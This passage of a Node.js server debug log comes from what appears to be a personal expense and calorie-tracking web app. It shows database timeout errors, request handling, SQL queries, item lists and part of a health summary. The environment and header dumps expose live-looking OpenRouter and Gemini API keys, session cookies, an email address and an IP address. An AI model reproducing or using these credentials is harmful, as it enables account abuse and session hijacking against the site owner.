    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 08:03:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 08:16:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 08:16:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 08:32:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 08:32:57' as DATETIME)"
}
2025-12-24T08:44:42.289Z server-connect:router Serving templateView /
2025-12-24T08:44:42.290Z server-connect:app Executing action step identify
2025-12-24T08:44:42.290Z server-connect:app options: { provider: 'security' }
2025-12-24T08:44:42.290Z server-connect:output identity: 1
2025-12-24T08:44:42.290Z server-connect:app Executing action step restrict
2025-12-24T08:44:42.290Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T08:44:42.292Z server-connect:output restrict: undefined
2025-12-24T08:44:42.292Z server-connect:app Executing action step restrict
2025-12-24T08:44:42.292Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T08:44:42.292Z server-connect:output restrict: undefined
2025-12-24T08:44:42.292Z server-connect:router Render template layouts/main
2025-12-24T08:44:42.293Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T08:45:30.399Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T08:45:30.400Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T08:45:30.400Z server-connect:app Executing action step identify
2025-12-24T08:45:30.400Z server-connect:app options: { provider: 'security' }
2025-12-24T08:45:30.400Z server-connect:output identity: 1
2025-12-24T08:45:30.400Z server-connect:app Executing action step restrict
2025-12-24T08:45:30.400Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:45:30.401Z server-connect:app Executing action step identify
2025-12-24T08:45:30.401Z server-connect:app options: { provider: 'security' }
2025-12-24T08:45:30.401Z server-connect:output identity: 1
2025-12-24T08:45:30.401Z server-connect:app Executing action step restrict
2025-12-24T08:45:30.401Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:45:30.402Z server-connect:output restrict: undefined
2025-12-24T08:45:30.402Z server-connect:app Executing action step select
2025-12-24T08:45:30.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T08:45:30.403Z server-connect:output restrict: undefined
2025-12-24T08:45:30.403Z server-connect:app Executing action step single
2025-12-24T08:45:30.403Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T08:45:30.408Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T08:45:30.409Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T08:46:11.563Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T08:46:11.563Z server-connect:app Executing action step identify
2025-12-24T08:46:11.563Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:11.563Z server-connect:output identity: 1
2025-12-24T08:46:11.563Z server-connect:app Executing action step restrict
2025-12-24T08:46:11.563Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T08:46:11.565Z server-connect:output restrict: undefined
2025-12-24T08:46:11.565Z server-connect:router Render template calorie-tracker
2025-12-24T08:46:11.565Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T08:46:11.794Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T08:46:11.795Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T08:46:11.795Z server-connect:app Executing action step identify
2025-12-24T08:46:11.795Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:11.795Z server-connect:output identity: 1
2025-12-24T08:46:11.795Z server-connect:app Executing action step restrict
2025-12-24T08:46:11.795Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:46:11.796Z server-connect:app Executing action step identify
2025-12-24T08:46:11.796Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:11.796Z server-connect:output identity: 1
2025-12-24T08:46:11.796Z server-connect:app Executing action step restrict
2025-12-24T08:46:11.796Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:11.796Z server-connect:output restrict: undefined
2025-12-24T08:46:11.796Z server-connect:app Executing action step single
2025-12-24T08:46:11.796Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T08:46:11.796Z server-connect:output restrict: undefined
2025-12-24T08:46:11.796Z server-connect:app Executing action step single
2025-12-24T08:46:11.796Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T08:46:11.798Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good start with protein intake from whey, but the overall meal composition appears to be lacking in variety and substantial protein sources beyond the supplement. Meal timing seems reasonable with a pre-workout and post-workout protein, but the main meal could be more balanced. Recovery support is present with the whey protein.",
